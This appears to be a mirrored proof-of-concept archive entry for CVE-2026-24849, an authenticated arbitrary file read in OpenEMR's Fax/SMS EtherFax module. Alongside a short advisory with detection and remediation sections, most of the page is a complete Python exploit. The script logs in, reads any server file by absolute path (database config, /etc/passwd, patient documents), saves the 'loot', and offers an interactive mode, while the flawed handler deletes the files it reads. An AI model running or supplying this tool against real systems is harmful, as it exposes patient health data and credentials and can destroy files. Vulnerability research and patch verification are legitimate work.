PoC Archive PoC Archive
Critical CVE-2026-24849 patched

OpenEMR EtherFax Module Authenticated Arbitrary File Read (CVE-2026-24849)

by doany1 · 2026-07-05

CVSS 6.5/10
Severity
Critical
CVE
CVE-2026-24849
Category
web
Affected product
OpenEMR (Fax/SMS module, EtherFax provider)
Affected versions
OpenEMR < 7.0.4 (tested on 7.0.2)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherdoany1
CVE / AdvisoryCVE-2026-24849
Categoryweb
SeverityCritical
CVSS ScoreNVD 6.5 (Medium) / GitHub CNA 9.9 (Critical)
StatusPoC
Tagsopenemr, path-traversal, arbitrary-file-read, cwe-22, php, healthcare, phi-exposure, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenEMR (Fax/SMS module, EtherFax provider)
Versions AffectedOpenEMR < 7.0.4 (tested on 7.0.2)
Language / PlatformPython 3 PoC against a PHP/Apache target
Authentication RequiredYes (any valid session, no elevated privileges needed)
Network Access RequiredYes

Summary

OpenEMR’s Fax/SMS module ships an EtherFax integration whose disposeDoc() handler (in EtherFaxActions.php) takes an attacker-controlled file_path request parameter, checks only that the file exists, and passes it directly to readfile() with no canonicalization or allow-listing. Because the parameter accepts an absolute path, no traversal sequence is even required, so any authenticated user regardless of role can read arbitrary files as the web-server user, including database credentials, patient documents, and system files such as /etc/passwd. The handler also calls unlink() on the file after reading it, which the PoC’s README calls out as a destructive side effect that can delete files the web server is permitted to remove. The included Python tool logs in, verifies exploitability against a safe probe file, and then supports one-shot or interactive reads of arbitrary paths, saving loot to disk if requested.


Vulnerability Details

Root Cause

EtherFaxActions::disposeDoc() reads the file_path request parameter, verifies only file_exists(), and passes it unsanitized to readfile() with no path canonicalization, allow-listing, or additional authorization check beyond an active session.

Attack Vector

  1. Attacker authenticates to OpenEMR with any valid account (default credentials often work).
  2. Attacker sends a GET request to the Fax/SMS module dispatcher with _ACTION_COMMAND=disposeDoc and an absolute file_path pointing at a sensitive file.
  3. The server reads and returns the file’s contents, then attempts to delete it.
  4. Attacker repeats against sites/default/sqlconf.php, patient document directories, or OS files to harvest credentials or PHI.

Impact

Full server-side arbitrary file read as the web-server user from any authenticated account, exposing database credentials and patient health information, with a secondary risk of unintended file deletion via the handler’s unlink() call.


Environment / Lab Setup

Target:   OpenEMR < 7.0.4 with Fax/SMS module enabled, EtherFax selected as provider
Attacker: Python 3.6+, requests library

Proof of Concept

PoC Script

See CVE-2026-24849.py in this folder.

1
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

The script authenticates via requests with a dedicated cookie jar, confirms the vulnerability by reading a safe root-owned probe file, then issues the disposeDoc (or disposeDocument, auto-tried for version differences) request to read the specified file, optionally dropping into an interactive loop to pull multiple files in one session.


Detection & Indicators of Compromise

Signs of compromise:

  • Web server access logs showing repeated disposeDoc/disposeDocument requests with varying file_path values
  • Unexpected disappearance of files readable/writable by the web-server user (side effect of the handler’s unlink())
  • Low-privilege OpenEMR accounts accessing files unrelated to their normal patient workflow

Remediation

ActionDetail
Primary fixUpgrade to OpenEMR 7.0.4 or later, which canonicalizes the path, confines it to an allowed directory, and adds a proper authorization check
Interim mitigationDisable the Fax/SMS module if unused, change default credentials, and store secrets/patient documents outside the webroot

References


Notes

Mirrored from https://github.com/doany1/CVE-2026-24849 on 2026-07-05.

CVE-2026-24849.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154

import argparse
import getpass
import re
import sys

try:
    import requests
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.exit("[-] This exploit needs the 'requests' module:  pip3 install requests")

UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0"
FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php"
# Method name varies across affected minor versions (disposeDoc <-> disposeDocument).
ACTIONS = ["disposeDoc", "disposeDocument"]
# An unauthenticated request is answered with a JS redirect to this path.
# (Use a narrow marker: every OpenEMR page embeds generic timeout JS.)
FAIL_MARKER = "login_screen.php?error=1"


def ask(prompt, default=None, secret=False):
    label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt
    value = getpass.getpass(label) if secret else input(label).strip()
    return value or default


def login(sess, base, site, user, password):
    """Establish an OpenEMR session in `sess`. Validity is confirmed later by an
    actual file read, so this just performs the GET (CSRF prime) + POST."""
    # 1) prime a session cookie and grab the CSRF token if the form exposes one
    r = sess.get(base + "/interface/login/login.php",
                 params={"site": site}, timeout=20, verify=False)
    m = re.search(r"csrf_token_form.*?value=([\"'])(.*?)\1", r.text, re.S)

    data = {
        "new_login_session_management": "1",
        "authProvider": "Default",
        "authUser": user,
        "clearPass": password,
        "languageChoice": "1",
    }
    if m:  # OpenEMR doesn't enforce it on this POST, but send it when present
        data["csrf_token_form"] = m.group(2)

    # 2) authenticate
    sess.post(base + "/interface/main/main_screen.php",
              params={"auth": "login", "site": site},
              data=data, timeout=20, verify=False)


def read_file(sess, base, site, remote_path):
    """Return (content, status). status in {ok, session, missing}."""
    for action in ACTIONS:
        r = sess.get(base + FAXSMS,
                     params={"site": site, "type": "fax",
                             "_ACTION_COMMAND": action,
                             "file_path": remote_path, "action": "download"},
                     timeout=20, verify=False)
        body = r.text
        if FAIL_MARKER in body:
            return None, "session"
        if "Problem with download" in body:
            return None, "missing"            # method ran, file absent/unreadable
        if body.strip() == "":
            continue                          # likely wrong method name -> try next
        return body, "ok"
    return None, "missing"


def main():
    ap = argparse.ArgumentParser(
        description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)")
    ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10")
    ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)")
    ap.add_argument("-P", "--password", help="OpenEMR password")
    ap.add_argument("-s", "--site", help="OpenEMR site (default: default)")
    ap.add_argument("-f", "--file", help="Absolute path of the remote file to read")
    ap.add_argument("-o", "--output", help="Save looted file here instead of printing")
    args = ap.parse_args()

    print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\n")

    target = args.target or ask("Target base URL (e.g. http://10.10.10.10)")
    if not target:
        sys.exit("[-] Target is required.")
    target = target.rstrip("/")
    if not target.startswith("http"):
        target = "http://" + target

    user = args.user or ask("Username", default="admin")
    password = args.password if args.password is not None else ask("Password", secret=True)
    site = args.site or ask("Site", default="default")

    sess = requests.Session()
    sess.headers.update({"User-Agent": UA})

    try:
        print("[*] Authenticating to %s as '%s' ..." % (target, user))
        login(sess, target, site, user, password)
        # Confirm auth + that the vulnerable module is reachable by reading a
        # safe, root-owned probe file (its unlink() fails, so it is not deleted).
        _, status = read_file(sess, target, site, "/etc/hostname")
    except requests.RequestException as e:
        sys.exit("[-] Connection error: %s" % e)

    if status == "session":
        sys.exit("[-] Login failed - check credentials / site.")
    if status == "missing":
        print("[!] Logged in, but the file-read returned nothing.")
        print("    Confirm the Fax/SMS module is enabled with EtherFax as the provider.\n")
    else:
        print("[+] Authenticated; CVE-2026-24849 file-read confirmed.\n")

    def loot(path):
        try:
            data, status = read_file(sess, target, site, path)
        except requests.RequestException as e:
            print("[-] Connection error: %s" % e)
            return "error"
        if status == "session":
            print("[-] Session rejected (auth/ACL problem).")
        elif status == "missing":
            print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path)
        else:
            if args.output:
                with open(args.output, "w") as fh:
                    fh.write(data)
                print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output))
            else:
                print("[+] ---------- %s ----------" % path)
                sys.stdout.write(data if data.endswith("\n") else data + "\n")
                print("[+] --------------------------")
        return status

    # single-shot mode
    if args.file:
        status = loot(args.file)
        sys.exit(0 if status == "ok" else 2)

    # interactive mode: read files until the operator quits
    print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).")
    print("    Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\n")
    while True:
        path = ask("file_path(Which file would you like to see e.g /etc/passwd)")
        if not path or path.lower() in ("q", "quit", "exit"):
            break
        loot(path)
        print()


if __name__ == "__main__":
    main()